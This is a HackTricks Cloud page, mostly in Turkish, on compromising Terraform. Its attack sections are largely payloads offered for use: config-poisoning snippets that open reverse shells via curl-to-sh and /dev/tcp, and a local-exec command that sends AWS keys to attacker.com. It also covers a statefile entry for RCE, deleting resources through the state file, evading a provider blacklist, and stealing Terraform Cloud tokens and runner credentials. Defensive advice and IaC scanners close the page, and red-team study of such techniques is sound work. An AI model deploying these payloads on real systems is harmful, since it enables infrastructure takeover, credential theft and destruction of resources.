Terraform Güvenliği
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
HashiCorp Terraform, sürümlenebilir, yeniden kullanılabilir ve paylaşılabilir insan tarafından okunabilir yapılandırma dosyalarında hem bulut hem de kurum içi kaynakları tanımlamanıza izin veren bir infrastructure as code tool’dur. Ardından, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, compute, storage ve networking gibi düşük seviyeli bileşenlerin yanı sıra DNS girdileri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
Terraform nasıl çalışır?
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları onların uygulama programlama arayüzleri (API’ler) aracılığıyla oluşturur ve yönetir. Providers, Terraform’un erişilebilir bir API’ye sahip neredeyse her platform veya hizmetle çalışmasını sağlar.
.png)
HashiCorp ve Terraform topluluğu, binlerce farklı kaynak ve hizmet türünü yönetmek için 1700’den fazla provider yazdı ve bu sayı artmaya devam ediyor. Tüm herkese açık provider’ları Terraform Registry üzerinde bulabilirsiniz; örneğin Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha fazlası.
Terraform’ın temel iş akışı üç aşamadan oluşur:
- Write: Kaynakları tanımlarsınız; bunlar birden fazla cloud provider ve hizmeti kapsayabilir. Örneğin, güvenlik grupları ve bir load balancer ile bir Virtual Private Cloud (VPC) ağında sanal makineler üzerinde bir uygulama dağıtmak için bir konfigürasyon oluşturabilirsiniz.
- Plan: Terraform, mevcut altyapı ve konfigürasyonunuz temelinde oluşturacağı, güncelleyeceği veya sileceği altyapıyı tanımlayan bir yürütme planı oluşturur.
- Apply: Onaylandığında, Terraform önerilen işlemleri doğru sırada, herhangi bir kaynak bağımlılığını gözeterek gerçekleştirir. Örneğin, bir VPC’nin özelliklerini güncellerseniz ve o VPC’deki sanal makine sayısını değiştirirseniz, Terraform VPC’yi yeniden oluşturduktan sonra sanal makineleri ölçeklendirir.
.png)
Terraform Lab
Sadece bilgisayarınıza terraform’u kurun.
Here you have a guide and here you have the best way to download terraform.
RCE in Terraform: config file poisoning
Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).
Ancak, terraform doğru şekilde çalışabilmesi için farklı konumlara ayrıcalıklı erişime sahip olacağından, ele geçirildiğinde çok hassas bir bileşen olur.
Bir saldırganın terraform’un çalıştığı sistemi ele geçirebilmesi için en yaygın yol, terraform konfigürasyonlarını depolayan repository’yi ele geçirmektir; çünkü eninde sonunda bu konfigürasyonlar yorumlanacaktır.
Aslında, bir PR oluşturulduktan sonra terraform plan/apply işlemlerini otomatik olarak çalıştıran çözümler bulunmaktadır; örneğin Atlantis:
Eğer bir terraform dosyasını ele geçirebilirseniz, birisi terraform plan veya terraform apply çalıştırdığında RCE gerçekleştirebileceğiniz farklı yollar vardır.
Terraform plan
Terraform plan, terraform’da en çok kullanılan komuttur ve terraform kullanan geliştiriciler/çözümler bunu sürekli çağırır; bu yüzden RCE elde etmenin en kolay yolu, bir terraform plan sırasında rastgele komutlar çalıştıracak şekilde bir terraform konfigürasyon dosyasını zehirlemektir.
Using an external provider
Terraform, Terraform ile harici programlar arasında arayüz sağlamaya yarayan external provider sunar. external data source’unu bir plan sırasında rastgele kod çalıştırmak için kullanabilirsiniz.
Bir terraform konfigürasyon dosyasına aşağıdakine benzer bir şey enjekte etmek, terraform plan çalıştırıldığında bir rev shell çalıştıracaktır:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Özel provider kullanımı
Bir saldırgan, custom provider’ı Terraform Registry’ye gönderebilir ve sonra bunu bir özellik dalındaki Terraform koduna ekleyebilir (example from here):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Provider init sırasında indirilir ve plan çalıştırıldığında kötü amaçlı kodu çalıştırır
Bir örneğini şu adreste bulabilirsiniz: https://github.com/rung/terraform-provider-cmdexec
Harici bir referans kullanma
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değiller (ikincisi birinciden daha gizli fakat daha karmaşıktır). Bu saldırıyı aşağıdaki önerileri izleyerek daha gizli bir şekilde gerçekleştirebilirsiniz:
- Rev shell’i doğrudan terraform dosyasına eklemek yerine, rev shell içeren bir harici kaynak yükleyebilirsiniz:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Harici kaynakta, repodaki bir branch içine terraform rev shell code in a branch’i gizlemek için ref özelliğini kullanın, örneğin:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır; ayrıca RCE elde etmek için a malicious Terraform file with local-exec.
Tek yapmanız gereken, aşağıdakiler gibi bazı payload’ların main.tf dosyasında sonlanmasını sağlamaktır:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Önceki tekniğin önerilerini izleyin ve bu saldırıyı harici referanslar kullanarak daha gizli bir şekilde gerçekleştirin.
Secrets Dumps
terraform apply çalıştırarak terraform tarafından kullanılan gizli değerlerin dökülmesini sağlayabilirsiniz; terraform dosyasına şu gibi bir şey ekleyerek:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Terraform State Dosyalarını Kötüye Kullanma
Eğer terraform state dosyaları üzerinde yazma izniniz varsa ancak terraform kodunu değiştiremiyorsanız, this research dosyadan faydalanmak için bazı ilginç seçenekler sunuyor. Konfigürasyon dosyaları üzerinde yazma izniniz olsa bile, state dosyaları vektörünü kullanmak genellikle çok daha sinsidir; git geçmişinde iz bırakmazsınız.
RCE in Terraform: config file poisoning
It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.
To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Sonrasında, terraform çalıştırılır çalıştırılmaz kodunuz çalışır.
Kaynakları silme
Kaynakları silmenin 2 yolu vardır:
- Yok edilecek gerçek kaynağa işaret eden rastgele isimli bir kaynağı state dosyasına ekleyin
Çünkü terraform kaynağın var olmaması gerektiğini görecek ve onu (belirtilen gerçek resource ID’sine göre) yok edecektir. Önceki sayfadan örnek:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Kaynağı, güncellenemeyecek şekilde değiştirin (böylece silinip yeniden oluşturulacak)
Bir EC2 instance’ı için, instance türünü değiştirmek terraform’un onu silip yeniden oluşturmasına yeterlidir.
Kara listeye alınmış provider’ı değiştir
hashicorp/external kara listeye alınmış bir durumla karşılaşırsanız, aşağıdakileri yaparak external provider’ı yeniden uygulayabilirsiniz. Not: Biz https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external provider’ın bir fork’unu kullanıyoruz. Kendi fork’unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Sonra normal olduğu gibi external kullanabilirsiniz.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Terraform Cloud speculative plan RCE and credential exfiltration
Bu senaryo, Terraform Cloud (TFC) runner’larını speculative plans sırasında kullanarak hedef cloud hesabına pivot yapar.
-
Önkoşullar:
-
Geliştirici bir makineden Terraform Cloud token’ı çalın. CLI token’ları düz metin olarak
~/.terraform.d/credentials.tfrc.jsoniçinde saklar. -
Token, hedef organization/workspace’a erişimi olmalı ve en az
planyetkisine sahip olmalıdır. VCS-backed workspaces CLI’danapply’ı engeller, ancak hâlâ speculative plans’e izin verir. -
Workspace ve VCS ayarlarını TFC API üzerinden keşfedin:
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
- VCS-backed workspace’ı hedeflemek için external data source ve Terraform Cloud “cloud” bloğunu kullanarak speculative plan sırasında code execution tetikleyin:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
TFC runner üzerinde reverse shell elde etmek için örnek rsync.sh:
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
Geçici runner üzerinde programı çalıştırmak için spekülatif bir plan çalıştır:
terraform init
terraform plan
- Runner’dan enjekte edilmiş cloud credentials’leri enumerate ve exfiltrate edin. Çalışma sırasında, TFC provider credentials’leri files ve environment variables aracılığıyla inject eder:
env | grep -i gcp || true
env | grep -i aws || true
Runner çalışma dizininde beklenen dosyalar:
-
GCP:
-
tfc-google-application-credentials(Workload Identity Federation JSON yapılandırması) -
tfc-gcp-token(kısa ömürlü GCP erişim tokenı) -
AWS:
-
tfc-aws-shared-config(web identity/OIDC rol devralma yapılandırması) -
tfc-aws-token(kısa ömürlü token; bazı kuruluşlar statik anahtarlar kullanabilir) -
VCS gate’lerini atlatmak için kısa ömürlü kimlik bilgilerini out-of-band kullanın:
GCP (gcloud):
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
AWS (AWS CLI):
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block apply via VCS.
- Savunma önerileri:
- TFC kullanıcıları/takımları ve tokenlar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı geniş sahiplikteki hesaplardan kaçının.
- Mümkünse hassas VCS-backed workspaces’lerde
planiznini kısıtlayın. - Sentinel politikalarıyla provider/data source allowlist’lerini uygulayarak
data "external"veya bilinmeyen provider’ları engelleyin. Provider filtreleme konusunda HashiCorp rehberine bakın. - Statik cloud kimlik bilgileri yerine OIDC/WIF’i tercih edin; runners’ları hassas kabul edin. Spekülatif plan çalıştırmalarını ve beklenmeyen egress’i izleyin.
tfc-*credential artifacts exfiltration’ını tespit edin ve planlar sırasında şüpheliexternalprogram kullanımında uyarı verin.
Terraform Cloud’un ele geçirilmesi
Token kullanımı
As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Stealing this token lets an attacker impersonate the user within the token’s scope.
Using this token it’s possible to get the org/workspace with:
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
Böylece önceki bölümde açıklandığı gibi terraform plan kullanılarak rastgele kod çalıştırmak mümkün olur.
Escaping to the cloud
Eğer runner bir cloud ortamında bulunuyorsa, runner’a bağlı principal’in bir token’ını elde etmek ve bunu kanal dışı kullanmak mümkün olur.
-
GCP files (present in current run working directory)
-
tfc-google-application-credentials— Workload Identity Federation(WIF) için Google’a dış kimliği nasıl değiş tokuş edeceğini söyleyen JSON yapılandırması. -
tfc-gcp-token— yukarıda bahsedileni referans alan kısa ömürlü (≈1 saat) GCP erişim token’ı -
AWS files
-
tfc-aws-shared-config— web identity federation/OIDC rol üstlenme için JSON (statik anahtarlara tercih edilir). -
tfc-aws-token— kısa ömürlü token, veya yanlış yapılandırıldığında potansiyel olarak statik IAM anahtarları.
Automatic Audit Tools
Snyk Infrastructure as Code (IaC)
Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki zayıflıkları ve yanlış yapılandırmaları tespit eden kapsamlı bir Infrastructure as Code (IaC) tarama çözümü sunar.
- Features:
- Güvenlik zafiyetleri ve uyumluluk sorunları için gerçek zamanlı tarama.
- Sürüm kontrol sistemleriyle entegrasyon (GitHub, GitLab, Bitbucket).
- Otomatik düzeltme pull request’leri.
- Detaylı düzeltme önerileri.
- Sign Up: Create an account on Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu and detects security and compliance misconfigurations using graph-based scanning.
It performs Software Composition Analysis (SCA) scanning which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance terraform’a karşı hafif, güvenlik ve uyumluluk odaklı bir test framework’üdür; Infrastructure-as-Code (IaC) için negatif test yeteneği sağlar.
- uyumluluk: Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğunu doğrulayın.
- davranış odaklı geliştirme: Neredeyse her şey için BDD var, peki IaC için neden olmasın?
- taşınabilir: Sadece
pipile yükleyin veyadockerile çalıştırın. Bkz. Installation - dağıtımdan önce: Kodunuzu dağıtılmadan önce doğrular.
- entegrasyonu kolay: Pipeline’ınızda (veya git hook’larında) çalıştırılabilir, böylece tüm dağıtımlar doğrulanır.
- görev ayrımı: Testlerinizi ayrı bir depoda tutabilirsiniz; sorumluluk ayrı bir ekibe ait olabilir.
Note
Ne yazık ki kod bazı provider’ları kullanıyorsa ve bunlara erişiminiz yoksa
terraform planyapamaz ve bu aracı çalıştıramazsınız.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
Kaynak: docs: tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder.
- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları genelinde yanlış yapılandırmaları kontrol eder
- ⛔ Yüzlerce yerleşik kural
- 🪆 Modülleri tarar (yerel ve uzak)
- ➕ HCL ifadelerini ve literal değerleri değerlendirir
- ↪️ Terraform fonksiyonlarını değerlendirir (ör. concat())
- 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir
- 🧰 Terraform CDK ile uyumlu
- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve zenginleştirir)
- 📃 Birden çok çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla)
- ⚡ Çok hızlı, büyük depoları hızlıca tarayabilir
brew install tfsec
tfsec /path/to/folder
terrascan
Terrascan, Infrastructure as Code için statik bir kod analizörüdür. Terrascan şunları yapmanıza olanak tanır:
- Kod olarak altyapıyı yanlış yapılandırmalar için sorunsuzca tarar.
- Sağlanan bulut altyapısını, güvenlik duruşu sapmasına yol açan yapılandırma değişiklikleri açısından izler ve güvenli duruşa geri dönmeyi sağlar.
- Güvenlik açıklarını ve uyumluluk ihlallerini tespit eder.
- Bulut-native altyapı sağlanmadan önce riskleri azaltır.
- Yerel olarak çalıştırma veya CI\CD ile entegre etme esnekliği sunar.
brew install terrascan
terrascan scan -d /path/to/folder
KICKS
Checkmarx tarafından geliştirilen KICS ile infrastructure-as-code uygulamalarınızın geliştirme döngüsünde güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
KICS, Keeping Infrastructure as Code Secure’ın kısaltmasıdır; açık kaynaklıdır ve herhangi bir cloud native proje için olmazsa olmazdır.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
Kaynak: docs: Terrascan, Infrastructure as Code için statik bir kod analiz aracıdır. Terrascan size şunları sağlar:
- Infrastructure as Code içindeki yapılandırma hatalarını sorunsuzca tarama.
- Sağlanan bulut altyapısını, yapılandırma değişikliklerinin neden olduğu posture drift için izleme ve güvenli bir duruma geri dönmeyi sağlama.
- Güvenlik açıklarını ve uyumluluk ihlallerini tespit etme.
- Cloud native altyapı sağlanmadan önce riskleri azaltma.
- Yerelde çalıştırma veya CI\CD ile entegre etme esnekliği sunma.
brew install terrascan
Referanslar
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
- Terraform Cloud token abuse turns speculative plan into remote code execution
- Terraform Cloud permissions
- Terraform Cloud API – Show workspace
- AWS provider configuration
- AWS CLI – OIDC role assumption
- GCP provider – Using Terraform Cloud
- Terraform – Sensitive variables
- Snyk Labs – Gitflops: dangers of Terraform automation platforms
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

